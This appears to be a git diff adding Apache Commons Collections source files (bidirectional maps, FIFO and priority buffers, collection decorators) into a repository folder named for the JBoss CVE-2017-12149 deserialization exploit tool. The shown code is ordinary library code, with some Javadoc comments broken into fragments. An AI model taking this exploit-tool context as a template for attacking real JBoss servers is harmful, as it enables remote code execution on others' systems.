+ * BidiMap map1 = new TreeBidiMap();
+ * map.put("A","B"); // contains A mapped to B, as per Map
+ * map.put("A","C"); // contains A mapped to C, as per Map
+ *
+ * BidiMap map2 = new TreeBidiMap();
+ * map.put("A","B"); // contains A mapped to B, as per Map
+ * map.put("C","B"); // contains C mapped to B, key A is removed
+ *
+ * Comparable
.
+ *
+ * @param key key with which the specified value is to be associated
+ * @param value value to be associated with the specified key
+ * @return the previous value for the key
+ * @throws ClassCastException if the key is of an inappropriate type
+ * @throws NullPointerException if the key is null
+ */
+ public Object put(final Object key, final Object value) {
+ return doPut((Comparable) key, (Comparable) value, KEY);
+ }
+
+ /**
+ * Puts all the mappings from the specified map into this map.
+ * Comparable
.
+ *
+ * @param map the map to copy from
+ */
+ public void putAll(Map map) {
+ Iterator it = map.entrySet().iterator();
+ while (it.hasNext()) {
+ Map.Entry entry = (Map.Entry) it.next();
+ put(entry.getKey(), entry.getValue());
+ }
+ }
+
+ /**
+ * Removes the mapping for this key from this map if present.
+ * Comparable
.
+ *
+ * @param key key whose mapping is to be removed from the map.
+ * @return previous value associated with specified key,
+ * or null if there was no mapping for key.
+ * @throws ClassCastException if the key is of an inappropriate type
+ * @throws NullPointerException if the key is null
+ */
+ public Object remove(final Object key) {
+ return doRemove((Comparable) key, KEY);
+ }
+
+ /**
+ * Removes all mappings from this map.
+ */
+ public void clear() {
+ modify();
+
+ nodeCount = 0;
+ rootNode[KEY] = null;
+ rootNode[VALUE] = null;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns the key to which this map maps the specified value.
+ * Returns null if the map contains no mapping for this value.
+ * Comparable
.
+ *
+ * @param value value whose associated key is to be returned.
+ * @return the key to which this map maps the specified value,
+ * or null if the map contains no mapping for this value.
+ * @throws ClassCastException if the value is of an inappropriate type
+ * @throws NullPointerException if the value is null
+ */
+ public Object getKey(final Object value) {
+ return doGet((Comparable) value, VALUE);
+ }
+
+ /**
+ * Removes the mapping for this value from this map if present.
+ * Comparable
.
+ *
+ * @param value value whose mapping is to be removed from the map
+ * @return previous key associated with specified value,
+ * or null if there was no mapping for value.
+ * @throws ClassCastException if the value is of an inappropriate type
+ * @throws NullPointerException if the value is null
+ */
+ public Object removeValue(final Object value) {
+ return doRemove((Comparable) value, VALUE);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the first (lowest) key currently in this map.
+ *
+ * @return the first (lowest) key currently in this sorted map
+ * @throws NoSuchElementException if this map is empty
+ */
+ public Object firstKey() {
+ if (nodeCount == 0) {
+ throw new NoSuchElementException("Map is empty");
+ }
+ return leastNode(rootNode[KEY], KEY).getKey();
+ }
+
+ /**
+ * Gets the last (highest) key currently in this map.
+ *
+ * @return the last (highest) key currently in this sorted map
+ * @throws NoSuchElementException if this map is empty
+ */
+ public Object lastKey() {
+ if (nodeCount == 0) {
+ throw new NoSuchElementException("Map is empty");
+ }
+ return greatestNode(rootNode[KEY], KEY).getKey();
+ }
+
+ /**
+ * Gets the next key after the one specified.
+ * Comparable
.
+ *
+ * @param key the key to search for next from
+ * @return the next key, null if no match or at end
+ */
+ public Object nextKey(Object key) {
+ checkKey(key);
+ Node node = nextGreater(lookup((Comparable) key, KEY), KEY);
+ return (node == null ? null : node.getKey());
+ }
+
+ /**
+ * Gets the previous key before the one specified.
+ * Comparable
.
+ *
+ * @param key the key to search for previous from
+ * @return the previous key, null if no match or at start
+ */
+ public Object previousKey(Object key) {
+ checkKey(key);
+ Node node = nextSmaller(lookup((Comparable) key, KEY), KEY);
+ return (node == null ? null : node.getKey());
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns a set view of the keys contained in this map in key order.
+ * BidiMap
to ensure it can't be altered.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/05/15 12:13:03 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class UnmodifiableBidiMap
+ extends AbstractBidiMapDecorator implements Unmodifiable {
+
+ /** The inverse unmodifiable map */
+ private UnmodifiableBidiMap inverse;
+
+ /**
+ * Factory method to create an unmodifiable map.
+ * OrderedBidiMap
to ensure it can't be altered.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/05/15 12:13:03 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class UnmodifiableOrderedBidiMap
+ extends AbstractOrderedBidiMapDecorator implements Unmodifiable {
+
+ /** The inverse unmodifiable map */
+ private UnmodifiableOrderedBidiMap inverse;
+
+ /**
+ * Factory method to create an unmodifiable map.
+ * SortedBidiMap
to ensure it can't be altered.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/05/15 12:13:03 $
+ *
+ * @author Stephen Colebourne
+ */
+public final class UnmodifiableSortedBidiMap
+ extends AbstractSortedBidiMapDecorator implements Unmodifiable {
+
+ /** The inverse unmodifiable map */
+ private UnmodifiableSortedBidiMap inverse;
+
+ /**
+ * Factory method to create an unmodifiable map.
+ *
+
+
+
+
+
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/AbstractBufferDecorator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/AbstractBufferDecorator.java"
new file mode 100644
index 0000000..3ab71c1
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/AbstractBufferDecorator.java"
@@ -0,0 +1,69 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.buffer;
+
+import org.apache.commons.collections.Buffer;
+import org.apache.commons.collections.collection.AbstractCollectionDecorator;
+
+/**
+ * Decorates another Buffer
to provide additional behaviour.
+ * Buffer
to make {@link #get()} and
+ * {@link #remove()} block when the Buffer
is empty.
+ * get
or remove
is called on an empty
+ * Buffer
, the calling thread waits for notification that
+ * an add
or addAll
operation has completed.
+ * Buffer
,
+ * all threads blocked in get
or remove
are notified.
+ * There is no guarantee that concurrent blocked get
or
+ * remove
requests will be "unblocked" and receive data in the
+ * order that they arrive.
+ * BoundedFifoBuffer
is based on the
+ * insertion order; elements are removed in the same order in which they
+ * were added. The iteration order is the same as the removal order.
+ * BoundedFifoBuffer
:
+ *
+ * Buffer fifo = BufferUtils.synchronizedBuffer(new BoundedFifoBuffer());
+ *
+ * BoundedFifoBuffer
big enough to hold
+ * 32 elements.
+ */
+ public BoundedFifoBuffer() {
+ this(32);
+ }
+
+ /**
+ * Constructs a new BoundedFifoBuffer
big enough to hold
+ * the specified number of elements.
+ *
+ * @param size the maximum number of elements for this fifo
+ * @throws IllegalArgumentException if the size is less than 1
+ */
+ public BoundedFifoBuffer(int size) {
+ if (size <= 0) {
+ throw new IllegalArgumentException("The size must be greater than 0");
+ }
+ elements = new Object[size];
+ maxElements = elements.length;
+ }
+
+ /**
+ * Constructs a new BoundedFifoBuffer
big enough to hold all
+ * of the elements in the specified collection. That collection's
+ * elements will also be added to the buffer.
+ *
+ * @param coll the collection whose elements to add, may not be null
+ * @throws NullPointerException if the collection is null
+ */
+ public BoundedFifoBuffer(Collection coll) {
+ this(coll.size());
+ addAll(coll);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Write the buffer out using a custom routine.
+ *
+ * @param out the output stream
+ * @throws IOException
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ out.writeInt(size());
+ for (Iterator it = iterator(); it.hasNext();) {
+ out.writeObject(it.next());
+ }
+ }
+
+ /**
+ * Read the buffer in using a custom routine.
+ *
+ * @param in the input stream
+ * @throws IOException
+ * @throws ClassNotFoundException
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ elements = new Object[maxElements];
+ int size = in.readInt();
+ for (int i = 0; i < size; i++) {
+ elements[i] = in.readObject();
+ }
+ start = 0;
+ end = size;
+ full = (size == maxElements);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns the number of elements stored in the buffer.
+ *
+ * @return this buffer's size
+ */
+ public int size() {
+ int size = 0;
+
+ if (end < start) {
+ size = maxElements - start + end;
+ } else if (end == start) {
+ size = (full ? maxElements : 0);
+ } else {
+ size = end - start;
+ }
+
+ return size;
+ }
+
+ /**
+ * Returns true if this buffer is empty; false otherwise.
+ *
+ * @return true if this buffer is empty
+ */
+ public boolean isEmpty() {
+ return size() == 0;
+ }
+
+ /**
+ * Returns true if this collection is full and no new elements can be added.
+ *
+ * @return true
if the collection is full
+ */
+ public boolean isFull() {
+ return size() == maxElements;
+ }
+
+ /**
+ * Gets the maximum size of the collection (the bound).
+ *
+ * @return the maximum number of elements the collection can hold
+ */
+ public int maxSize() {
+ return maxElements;
+ }
+
+ /**
+ * Clears this buffer.
+ */
+ public void clear() {
+ full = false;
+ start = 0;
+ end = 0;
+ Arrays.fill(elements, null);
+ }
+
+ /**
+ * Adds the given element to this buffer.
+ *
+ * @param element the element to add
+ * @return true, always
+ * @throws NullPointerException if the given element is null
+ * @throws BufferOverflowException if this buffer is full
+ */
+ public boolean add(Object element) {
+ if (null == element) {
+ throw new NullPointerException("Attempted to add null object to buffer");
+ }
+
+ if (full) {
+ throw new BufferOverflowException("The buffer cannot hold more than " + maxElements + " objects.");
+ }
+
+ elements[end++] = element;
+
+ if (end >= maxElements) {
+ end = 0;
+ }
+
+ if (end == start) {
+ full = true;
+ }
+
+ return true;
+ }
+
+ /**
+ * Returns the least recently inserted element in this buffer.
+ *
+ * @return the least recently inserted element
+ * @throws BufferUnderflowException if the buffer is empty
+ */
+ public Object get() {
+ if (isEmpty()) {
+ throw new BufferUnderflowException("The buffer is already empty");
+ }
+
+ return elements[start];
+ }
+
+ /**
+ * Removes the least recently inserted element from this buffer.
+ *
+ * @return the least recently inserted element
+ * @throws BufferUnderflowException if the buffer is empty
+ */
+ public Object remove() {
+ if (isEmpty()) {
+ throw new BufferUnderflowException("The buffer is already empty");
+ }
+
+ Object element = elements[start];
+
+ if (null != element) {
+ elements[start++] = null;
+
+ if (start >= maxElements) {
+ start = 0;
+ }
+
+ full = false;
+ }
+
+ return element;
+ }
+
+ /**
+ * Increments the internal index.
+ *
+ * @param index the index to increment
+ * @return the updated index
+ */
+ private int increment(int index) {
+ index++;
+ if (index >= maxElements) {
+ index = 0;
+ }
+ return index;
+ }
+
+ /**
+ * Decrements the internal index.
+ *
+ * @param index the index to decrement
+ * @return the updated index
+ */
+ private int decrement(int index) {
+ index--;
+ if (index < 0) {
+ index = maxElements - 1;
+ }
+ return index;
+ }
+
+ /**
+ * Returns an iterator over this buffer's elements.
+ *
+ * @return an iterator over this buffer's elements
+ */
+ public Iterator iterator() {
+ return new Iterator() {
+
+ private int index = start;
+ private int lastReturnedIndex = -1;
+ private boolean isFirst = full;
+
+ public boolean hasNext() {
+ return isFirst || (index != end);
+
+ }
+
+ public Object next() {
+ if (!hasNext()) {
+ throw new NoSuchElementException();
+ }
+ isFirst = false;
+ lastReturnedIndex = index;
+ index = increment(index);
+ return elements[lastReturnedIndex];
+ }
+
+ public void remove() {
+ if (lastReturnedIndex == -1) {
+ throw new IllegalStateException();
+ }
+
+ // First element can be removed quickly
+ if (lastReturnedIndex == start) {
+ BoundedFifoBuffer.this.remove();
+ lastReturnedIndex = -1;
+ return;
+ }
+
+ // Other elements require us to shift the subsequent elements
+ int i = lastReturnedIndex + 1;
+ while (i != end) {
+ if (i >= maxElements) {
+ elements[i - 1] = elements[0];
+ i = 0;
+ } else {
+ elements[i - 1] = elements[i];
+ i++;
+ }
+ }
+
+ lastReturnedIndex = -1;
+ end = decrement(end);
+ elements[end] = null;
+ full = false;
+ index = decrement(index);
+ }
+
+ };
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/CircularFifoBuffer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/CircularFifoBuffer.java"
new file mode 100644
index 0000000..016970d
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/CircularFifoBuffer.java"
@@ -0,0 +1,95 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.buffer;
+
+import java.util.Collection;
+
+/**
+ * CircularFifoBuffer is a first in first out buffer with a fixed size that
+ * replaces its oldest element if full.
+ * CircularFifoBuffer
is based on the
+ * insertion order; elements are removed in the same order in which they
+ * were added. The iteration order is the same as the removal order.
+ * CircularFifoBuffer
:
+ *
+ * Buffer fifo = BufferUtils.synchronizedBuffer(new CircularFifoBuffer());
+ *
+ * Buffer
to validate that additions
+ * match a specified predicate.
+ * Buffer buffer = PredicatedBuffer.decorate(new UnboundedFifoBuffer(), NotNullPredicate.INSTANCE);
+ * Buffer
that provides for
+ * removal based on Comparator
ordering.
+ * ascendingOrder
flag in the constructors
+ * can be used to reverse the sort order, in which case {@link #remove()}
+ * will always remove the last element.) The removal order is
+ * not the same as the order of iteration; elements are
+ * returned by the iterator in no particular order.
+ * PriorityBuffer
:
+ *
+ *
+ * Buffer heap = SynchronizedBuffer.decorate(new PriorityBuffer());
+ *
+ *
+ * @since Commons Collections 3.0 (previously BinaryHeap v1.0)
+ * @version $Revision: 1.5 $ $Date: 2004/05/15 12:33:23 $
+ *
+ * @author Peter Donald
+ * @author Ram Chidambaram
+ * @author Michael A. Smith
+ * @author Paul Jack
+ * @author Stephen Colebourne
+ */
+public class PriorityBuffer extends AbstractCollection implements Buffer {
+
+ /**
+ * The default capacity for the buffer.
+ */
+ private static final int DEFAULT_CAPACITY = 13;
+
+ /**
+ * The elements in this buffer.
+ */
+ protected Object[] elements;
+ /**
+ * The number of elements currently in this buffer.
+ */
+ protected int size;
+ /**
+ * If true, the first element as determined by the sort order will
+ * be returned. If false, the last element as determined by the
+ * sort order will be returned.
+ */
+ protected boolean ascendingOrder;
+ /**
+ * The comparator used to order the elements
+ */
+ protected Comparator comparator;
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructs a new empty buffer that sorts in ascending order by the
+ * natural order of the objects added.
+ */
+ public PriorityBuffer() {
+ this(DEFAULT_CAPACITY, true, null);
+ }
+
+ /**
+ * Constructs a new empty buffer that sorts in ascending order using the
+ * specified comparator.
+ *
+ * @param comparator the comparator used to order the elements,
+ * null means use natural order
+ */
+ public PriorityBuffer(Comparator comparator) {
+ this(DEFAULT_CAPACITY, true, comparator);
+ }
+
+ /**
+ * Constructs a new empty buffer specifying the sort order and using the
+ * natural order of the objects added.
+ *
+ * @param ascendingOrder if true
the heap is created as a
+ * minimum heap; otherwise, the heap is created as a maximum heap
+ */
+ public PriorityBuffer(boolean ascendingOrder) {
+ this(DEFAULT_CAPACITY, ascendingOrder, null);
+ }
+
+ /**
+ * Constructs a new empty buffer specifying the sort order and comparator.
+ *
+ * @param ascendingOrder true to use the order imposed by the given
+ * comparator; false to reverse that order
+ * @param comparator the comparator used to order the elements,
+ * null means use natural order
+ */
+ public PriorityBuffer(boolean ascendingOrder, Comparator comparator) {
+ this(DEFAULT_CAPACITY, ascendingOrder, comparator);
+ }
+
+ /**
+ * Constructs a new empty buffer that sorts in ascending order by the
+ * natural order of the objects added, specifying an initial capacity.
+ *
+ * @param capacity the initial capacity for the buffer, greater than zero
+ * @throws IllegalArgumentException if capacity
is <= 0
+ */
+ public PriorityBuffer(int capacity) {
+ this(capacity, true, null);
+ }
+
+ /**
+ * Constructs a new empty buffer that sorts in ascending order using the
+ * specified comparator and initial capacity.
+ *
+ * @param capacity the initial capacity for the buffer, greater than zero
+ * @param comparator the comparator used to order the elements,
+ * null means use natural order
+ * @throws IllegalArgumentException if capacity
is <= 0
+ */
+ public PriorityBuffer(int capacity, Comparator comparator) {
+ this(capacity, true, comparator);
+ }
+
+ /**
+ * Constructs a new empty buffer that specifying initial capacity and
+ * sort order, using the natural order of the objects added.
+ *
+ * @param capacity the initial capacity for the buffer, greater than zero
+ * @param ascendingOrder if true
the heap is created as a
+ * minimum heap; otherwise, the heap is created as a maximum heap.
+ * @throws IllegalArgumentException if capacity
is <= 0
+ */
+ public PriorityBuffer(int capacity, boolean ascendingOrder) {
+ this(capacity, ascendingOrder, null);
+ }
+
+ /**
+ * Constructs a new empty buffer that specifying initial capacity,
+ * sort order and comparator.
+ *
+ * @param capacity the initial capacity for the buffer, greater than zero
+ * @param ascendingOrder true to use the order imposed by the given
+ * comparator; false to reverse that order
+ * @param comparator the comparator used to order the elements,
+ * null means use natural order
+ * @throws IllegalArgumentException if capacity
is <= 0
+ */
+ public PriorityBuffer(int capacity, boolean ascendingOrder, Comparator comparator) {
+ super();
+ if (capacity <= 0) {
+ throw new IllegalArgumentException("invalid capacity");
+ }
+ this.ascendingOrder = ascendingOrder;
+
+ //+1 as 0 is noop
+ this.elements = new Object[capacity + 1];
+ this.comparator = comparator;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Checks whether the heap is ascending or descending order.
+ *
+ * @return true if ascending order (a min heap)
+ */
+ public boolean isAscendingOrder() {
+ return ascendingOrder;
+ }
+
+ /**
+ * Gets the comparator being used for this buffer, null is natural order.
+ *
+ * @return the comparator in use, null is natural order
+ */
+ public Comparator comparator() {
+ return comparator;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns the number of elements in this buffer.
+ *
+ * @return the number of elements in this buffer
+ */
+ public int size() {
+ return size;
+ }
+
+ /**
+ * Clears all elements from the buffer.
+ */
+ public void clear() {
+ elements = new Object[elements.length]; // for gc
+ size = 0;
+ }
+
+ /**
+ * Adds an element to the buffer.
+ * true
if buffer is full; false
otherwise.
+ */
+ protected boolean isAtCapacity() {
+ //+1 as element 0 is noop
+ return elements.length == size + 1;
+ }
+
+
+ /**
+ * Percolates element down heap from the position given by the index.
+ * Buffer
to synchronize its behaviour
+ * for a multi-threaded environment.
+ * Buffer
to transform objects that are added.
+ * Buffer
to validate that elements added
+ * are of a specific type.
+ * Class
. If an object cannot be added to the
+ * collection, an IllegalArgumentException is thrown.
+ *
+ * @since Commons Collections 3.0
+ * @version $Revision: 1.5 $ $Date: 2004/05/15 12:33:23 $
+ *
+ * @author Stephen Colebourne
+ * @author Matthew Hawthorne
+ */
+public class TypedBuffer {
+
+ /**
+ * Factory method to create a typed list.
+ * UnboundedFifoBuffer
is based on the insertion
+ * order; elements are removed in the same order in which they were added.
+ * The iteration order is the same as the removal order.
+ * UnboundedFifoBuffer
:
+ *
+ * Buffer fifo = BufferUtils.synchronizedBuffer(new UnboundedFifoBuffer());
+ *
+ *
+ * new UnboundedFifoBuffer(32);
+ *
+ */
+ public UnboundedFifoBuffer() {
+ this(32);
+ }
+
+ /**
+ * Constructs an UnboundedFifoBuffer with the specified number of elements.
+ * The integer must be a positive integer.
+ *
+ * @param initialSize the initial size of the buffer
+ * @throws IllegalArgumentException if the size is less than 1
+ */
+ public UnboundedFifoBuffer(int initialSize) {
+ if (initialSize <= 0) {
+ throw new IllegalArgumentException("The size must be greater than 0");
+ }
+ buffer = new Object[initialSize + 1];
+ head = 0;
+ tail = 0;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Write the buffer out using a custom routine.
+ *
+ * @param out the output stream
+ * @throws IOException
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ out.writeInt(size());
+ for (Iterator it = iterator(); it.hasNext();) {
+ out.writeObject(it.next());
+ }
+ }
+
+ /**
+ * Read the buffer in using a custom routine.
+ *
+ * @param in the input stream
+ * @throws IOException
+ * @throws ClassNotFoundException
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ int size = in.readInt();
+ buffer = new Object[size];
+ for (int i = 0; i < size; i++) {
+ buffer[i] = in.readObject();
+ }
+ head = 0;
+ tail = size;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns the number of elements stored in the buffer.
+ *
+ * @return this buffer's size
+ */
+ public int size() {
+ int size = 0;
+
+ if (tail < head) {
+ size = buffer.length - head + tail;
+ } else {
+ size = tail - head;
+ }
+
+ return size;
+ }
+
+ /**
+ * Returns true if this buffer is empty; false otherwise.
+ *
+ * @return true if this buffer is empty
+ */
+ public boolean isEmpty() {
+ return (size() == 0);
+ }
+
+ /**
+ * Adds the given element to this buffer.
+ *
+ * @param obj the element to add
+ * @return true, always
+ * @throws NullPointerException if the given element is null
+ */
+ public boolean add(final Object obj) {
+ if (obj == null) {
+ throw new NullPointerException("Attempted to add null object to buffer");
+ }
+
+ if (size() + 1 >= buffer.length) {
+ Object[] tmp = new Object[((buffer.length - 1) * 2) + 1];
+
+ int j = 0;
+ for (int i = head; i != tail;) {
+ tmp[j] = buffer[i];
+ buffer[i] = null;
+
+ j++;
+ i++;
+ if (i == buffer.length) {
+ i = 0;
+ }
+ }
+
+ buffer = tmp;
+ head = 0;
+ tail = j;
+ }
+
+ buffer[tail] = obj;
+ tail++;
+ if (tail >= buffer.length) {
+ tail = 0;
+ }
+ return true;
+ }
+
+ /**
+ * Returns the next object in the buffer.
+ *
+ * @return the next object in the buffer
+ * @throws BufferUnderflowException if this buffer is empty
+ */
+ public Object get() {
+ if (isEmpty()) {
+ throw new BufferUnderflowException("The buffer is already empty");
+ }
+
+ return buffer[head];
+ }
+
+ /**
+ * Removes the next object from the buffer
+ *
+ * @return the removed object
+ * @throws BufferUnderflowException if this buffer is empty
+ */
+ public Object remove() {
+ if (isEmpty()) {
+ throw new BufferUnderflowException("The buffer is already empty");
+ }
+
+ Object element = buffer[head];
+
+ if (null != element) {
+ buffer[head] = null;
+
+ head++;
+ if (head >= buffer.length) {
+ head = 0;
+ }
+ }
+
+ return element;
+ }
+
+ /**
+ * Increments the internal index.
+ *
+ * @param index the index to increment
+ * @return the updated index
+ */
+ private int increment(int index) {
+ index++;
+ if (index >= buffer.length) {
+ index = 0;
+ }
+ return index;
+ }
+
+ /**
+ * Decrements the internal index.
+ *
+ * @param index the index to decrement
+ * @return the updated index
+ */
+ private int decrement(int index) {
+ index--;
+ if (index < 0) {
+ index = buffer.length - 1;
+ }
+ return index;
+ }
+
+ /**
+ * Returns an iterator over this buffer's elements.
+ *
+ * @return an iterator over this buffer's elements
+ */
+ public Iterator iterator() {
+ return new Iterator() {
+
+ private int index = head;
+ private int lastReturnedIndex = -1;
+
+ public boolean hasNext() {
+ return index != tail;
+
+ }
+
+ public Object next() {
+ if (!hasNext()) {
+ throw new NoSuchElementException();
+ }
+ lastReturnedIndex = index;
+ index = increment(index);
+ return buffer[lastReturnedIndex];
+ }
+
+ public void remove() {
+ if (lastReturnedIndex == -1) {
+ throw new IllegalStateException();
+ }
+
+ // First element can be removed quickly
+ if (lastReturnedIndex == head) {
+ UnboundedFifoBuffer.this.remove();
+ lastReturnedIndex = -1;
+ return;
+ }
+
+ // Other elements require us to shift the subsequent elements
+ int i = lastReturnedIndex + 1;
+ while (i != tail) {
+ if (i >= buffer.length) {
+ buffer[i - 1] = buffer[0];
+ i = 0;
+ } else {
+ buffer[i - 1] = buffer[i];
+ i++;
+ }
+ }
+
+ lastReturnedIndex = -1;
+ tail = decrement(tail);
+ buffer[tail] = null;
+ index = decrement(index);
+ }
+
+ };
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/UnmodifiableBuffer.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/UnmodifiableBuffer.java"
new file mode 100644
index 0000000..476f167
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/buffer/UnmodifiableBuffer.java"
@@ -0,0 +1,131 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.buffer;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Collection;
+import java.util.Iterator;
+
+import org.apache.commons.collections.Buffer;
+import org.apache.commons.collections.Unmodifiable;
+import org.apache.commons.collections.iterators.UnmodifiableIterator;
+
+/**
+ * Decorates another Buffer
to ensure it can't be altered.
+ *
+
+
+
+
+
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/AbstractCollectionDecorator.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/AbstractCollectionDecorator.java"
new file mode 100644
index 0000000..79bd9ed
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/collection/AbstractCollectionDecorator.java"
@@ -0,0 +1,145 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.collection;
+
+import java.util.Collection;
+import java.util.Iterator;
+
+/**
+ * Decorates another Collection
to provide additional behaviour.
+ * Collection
is forwarded to the
+ * decorated Collection
. This class is used as a framework on which
+ * to build to extensions such as synchronized and unmodifiable behaviour. The
+ * main advantage of decoration is that one decorator can wrap any implementation
+ * of Collection
, whereas sub-classing requires a new class to be
+ * written for each implementation.
+ * size()
on each collection.
+ *
+ * @return total number of elements in all contained containers
+ */
+ public int size() {
+ int size = 0;
+ for (int i = this.all.length - 1; i >= 0; i--) {
+ size += this.all[i].size();
+ }
+ return size;
+ }
+
+ /**
+ * Checks whether this composite collection is empty.
+ * isEmpty()
on each collection.
+ *
+ * @return true if all of the contained collections are empty
+ */
+ public boolean isEmpty() {
+ for (int i = this.all.length - 1; i >= 0; i--) {
+ if (this.all[i].isEmpty() == false) {
+ return false;
+ }
+ }
+ return true;
+ }
+
+ /**
+ * Checks whether this composite collection contains the object.
+ * contains()
on each collection.
+ *
+ * @param obj the object to search for
+ * @return true if obj is contained in any of the contained collections
+ */
+ public boolean contains(Object obj) {
+ for (int i = this.all.length - 1; i >= 0; i--) {
+ if (this.all[i].contains(obj)) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+ /**
+ * Gets an iterator over all the collections in this composite.
+ * IteratorChain
.
+ *
+ * @return an IteratorChain
instance which supports
+ * remove()
. Iteration occurs over contained collections in
+ * the order they were added, but this behavior should not be relied upon.
+ * @see IteratorChain
+ */
+ public Iterator iterator() {
+ if (this.all.length == 0) {
+ return EmptyIterator.INSTANCE;
+ }
+ IteratorChain chain = new IteratorChain();
+ for (int i = 0; i < this.all.length; ++i) {
+ chain.addIterator(this.all[i].iterator());
+ }
+ return chain;
+ }
+
+ /**
+ * Returns an array containing all of the elements in this composite.
+ *
+ * @return an object array of all the elements in the collection
+ */
+ public Object[] toArray() {
+ final Object[] result = new Object[this.size()];
+ int i = 0;
+ for (Iterator it = this.iterator(); it.hasNext(); i++) {
+ result[i] = it.next();
+ }
+ return result;
+ }
+
+ /**
+ * Returns an object array, populating the supplied array if possible.
+ * See Collection
interface for full details.
+ *
+ * @param array the array to use, populating if possible
